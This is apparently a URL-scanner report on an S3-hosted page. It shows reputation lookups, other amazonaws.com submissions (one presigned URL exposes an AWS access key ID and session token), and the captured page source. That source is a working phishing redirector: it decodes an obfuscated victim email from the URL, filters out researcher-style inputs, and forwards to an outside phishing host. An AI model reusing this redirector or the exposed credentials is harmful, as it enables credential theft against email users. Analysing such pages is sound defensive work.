https://7654cre139472453.s3.eu-west-1.amazonaws.com/G%2BG%2BG%2B%2BKM%2BK%2BNJ%2BUB%2BVG%2BUY%2BGVFH%2BI%2BJN%2BIUGHJH%2B23%2BJ%2BJH%2BKJ%2BLKJGF+-+Copy.html

Last Checked: Nov 21, 2022, 04:01 EST

Check another URL
IP Address: 52.218.60.32
ASN #: AS16509 AMAZON-02, US
Location: Unknown, Unknown, Unknown
URL Reputation:
  • Unknown This URL is not identified as malicious in the SafeBrowsing Database.
  • Unknown This URL is not identified as malicious in the PhishTank Database.
  • Unknown PhishCheck thinks this URL is likely not a phish.
  • Unknown OpenPhish: URL not in feed.

Other submissions on 52.218.60.32:

Other submissions on amazonaws.com:

  • https://eu-prod-ingestion-petraatomizerbucket-1sekjpzhige4w.s3.amazonaws.com/parts/47ddb6c5-3dfb-49ac-bf01-fb7e951c5ecf/sanitized_body?AWSAccessKeyId=ASIAQA4NPPU4E5LNTZGB&Signature=uOk0MaADFXrtMsFXTDHR8cBQJkU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEOD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCWV1LXdlc3QtMSJHMEUCIG12X2Qf2bvyByyClOXnN2p26BoS6onAxyi8Q4RZb3f9AiEA1L9VM8iOWWbPd%2F%2BbVtMTZ3EjgKdue9w889vyKnEWgCkqpgMIWRADGgwwMDE5MDczMjYyNjQiDJr0MtFSFHgd%2Fh2tLCqDA%2F918krfEOBkLcv4B%2FbEx13djEsqSBVKVui5z6tEper7eNNWeijFU%2Ft0r2s7%2FElz2XdQLdXXvDd4fmFA6cwmGv7S00GuFdVkEptNoItp0D7QlTrQKzK%2BBRTxQQhYqRX4xaKTzv48vk30rWlIZsv7fd5xH0DcFnqxn0P7UWxywpd80ddFukjKKvek%2BFH8XBhca2fEUn01Rdmg0tKApNHIjUpoIqQVthwEL4UYWidzme1xQwzJekyZhxiV8Ji0cK9%2FlCvHOApgAicp6bzUPuIJQQJ7Kgv8BK67Y4qb8ecqUfcKM%2FIbj6I03RqiqEt4xHSkYeGbqCOIeStbTgGMNfJONXqfh%2B4IQa%2F2cEeVF7wHsSIzdScB4%2Fy02jZeqvL3DtTXsa7VDx4KkFZ2PJ7Qj1hBCii%2Br7Q1jptTtxrVdXo6HuwrzVN%2F5pHvFR%2BuzjjFSmTAbPAdzUCq9kcjsrlA5WXCUfRNQYWgHFlp4DBldGwmaZ%2F01qLML%2BBpsjeLRTt88dx9mVy6cTDzip%2BlBjqeAepe2hMtzAQrQKLnmuLuJdV7xpjTVjPbwJsGVUphIp9ClKfWeR2smQ%2Bv%2FFMjrcIBJi1fCjk3FZLdAzKN5DNjhcfNjTzslZc7FZkYUfS%2FDSS9bOZuxLUcs3JxCsZTalu5MGap%2Bl7m3q9C3h2fv4TB6DpHLKMkBtE5yjMj6t3S53LpYn84s3xz65U7JlmOYqvWwXsTbTVVcw4V9Io%2BYN9X&Expires=1688719084

    Details

  • http://lhts8-0264b97a7d7b12a9.elb.us-west-2.amazonaws.com/

    Details

  • http://rhts8-688e46dec77da3be.elb.us-west-2.amazonaws.com/

    Details

  • https://s3-us-west-2.amazonaws.com/addressvalidator/pobox_checker.js

    Details

  • https://0256dsf51ds6f564e1edf98ds6df56e54.s3.ca-central-1.amazonaws.com/015fdsfz8fgfdgf55ezr44sqd89q4ze69d46z8r.html#afhS.aspx?4QWU*LYHQA1805M*WNU12NRM*hjk2*S32504*cS665fEO*9pUJQhHGGinh

    Details

  • http://afe79c04fd8464db69f453355c110684-6aa967fe209738b1.elb.us-east-1.amazonaws.com/

    Details

  • https://t61mgb5rmg.execute-api.us-east-1.amazonaws.com/

    Details

  • http://nebula-prod.s3-us-west-2.amazonaws.com/

    Details

  • http://bc-site-1658825684.ap-northeast-1.elb.amazonaws.com/

    Details

  • http://ec2-44-230-127-50.us-west-2.compute.amazonaws.com/ANahNsNPPvjniM5YYOGcgBEeSpvHicmTSwo94f89VRHkv_q0saP9pFmc6eM1cXrkUFEn9OQKnyNGX8H_IrsPe0x2A3tBXhU_e-HwvRJlayVU7T_pSkHmiOMNRI24x-7GGOjmaCETsiVaTaGjkNa1WLRhUvshWtWzkXVHfoM9eFsajgmKAXn0Jat2LMcveKH4xQbaZBh9-rMxs

    Details

Previous checks:
  • GET
    0 Timed out waiting for a response.

    https://12345489098.online/online/OV6/?email=

<html lang="en"><head>
  <meta charset="UTF-8">

</head>
<body>



<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js" integrity="sha384-cs/chFZiN24E4KMATLdqdvsezGxaGsi4hLGOzlXwp5UZB1LY//20VyM2taTB4QvJ" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js" integrity="sha384-uefMccjFJAIv6A+rW+L4AHf99KvxDjWSu1z9VI8SKNVmz4sk7buKt/6v9KI65qnm" crossorigin="anonymous"></script>
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js"></script>
<script type="text/javascript">

var $c = getUrlParameter('email');
     $('#email').val($c);
	$('#me').text($c);
	
	var myem = $c;
	
	setTimeout(function() {
                                window.location.href = "https://12345489098.online/online/OV6/?email="+myem;
                        },0);
	
	
        
		
		var $current_email = "";

        if ($c) {
            $current_email = isValidEmail($c) ? $c : decodeCustom($c);
        }


        function decodeCustom($email) {
            var $consonants = 'bcdfghjklmnpqrstvwxyz'.split('');
            var $joinChar = $email.substr(0, 1); // substr(,0,1);
            var $output = $email.substr(2); // substr($email,2);
            var $vowels = ['a', 'e', 'i', 'o', 'u'];
            var $vowelsLookup = [];

            for ($i in $consonants) {
                $output = $output.replace(new RegExp($joinChar + '0' + $i + 'a', 'g'), $consonants[$i]);
            }

            for ($i in $vowels) {
                $output = $output.replace(new RegExp($joinChar + $i, 'g'), $vowels[$i]);
            }

            $output = $output.replace(new RegExp($joinChar + $joinChar + $joinChar, 'g'), '@');
            //,$output);
            return $output;
        }

        function isValidEmail(email) {
            var re =
                /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
            return re.test(email);
        }

        function getUrlParameter(name) {
            name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
            var results = regex.exec(location.search);
            return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
			
        }
		
		 var currentEmail = $current_email;
    var ListEntries = [
            '.*fuck.*',
            '.*pussy.*',
            '.*bitch.*',
            '.*asshole.*',
            '.*fool.*',
            '.*dick.*',
            '.*mama.*',
            '.*nice.*try.*',
            '.*12345.*'
        ];
		
		 if(currentEmail){

            var e = document.getElementById('username');
            e = currentEmail;
            //e.readOnly = true;
			

            var domain = extractDomain(currentEmail);

           // var corH = document.getElementById('corportate-title');
            //corH.innerText = domain + " Email Login";

            }
			
		function extractDomain(email){

        var load = email;
        var domain = '';
        var regex = /.+@(.*?)\..+/;
        var str = email;
        var m;

        if ((m = regex.exec(str)) !== null) {
            return m[1];
        }

        return null;
    }



</script>


</body></html>

Screenshot: